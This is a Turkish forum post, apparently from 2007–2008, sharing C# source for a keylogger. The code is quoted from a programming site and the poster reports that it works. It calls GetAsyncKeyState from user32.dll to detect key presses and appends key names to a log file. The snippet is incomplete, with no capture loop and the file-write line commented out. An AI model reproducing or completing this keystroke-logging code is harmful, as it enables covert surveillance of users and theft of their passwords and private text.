OP Taze Üye
Teşekkür Sayısı: 0
8 mesaj
Kayıt Tarihi:Kayıt: Eyl 2007
c#nedir.com sitesindeki bir makaleden alıntıdır .. denedim çalışıyor...
- [ Tüm kodu seç ] [ Yeni Pencerede Göster ]
using System; using System.Text; using System.Runtime.InteropServices; using System.IO; namespace KlavyeDinleyici { /// <summary> /// Summary description for KlavyeDinleyici. /// </summary> public class TusKontrol { [DllImport("user32.dll", CharSet=CharSet.Ansi)] public static extern int GetAsyncKeyState(long vKey); // herhangi bir tus basildi ise, MIN(Int16)+1 döndürüyor. public static bool BuTusaMiBasildi(byte tusKod) { if( TusKontrol.GetAsyncKeyState((long)tusKod)== System.Int16.MinValue + 1 ) return true; else return false; } public static void LogDosyasinaYazdir(string tamDosyaYolu, string tusAdi){ StreamWriter DuzMetinDosyasi = new StreamWriter(tamDosyaYolu,true); // DuzMetinDosyasi.Write(tusAdi); DuzMetinDosyasi.Close(); } } }
Son Düzenleme: bycodec ~ 09 Haziran 2008 01:54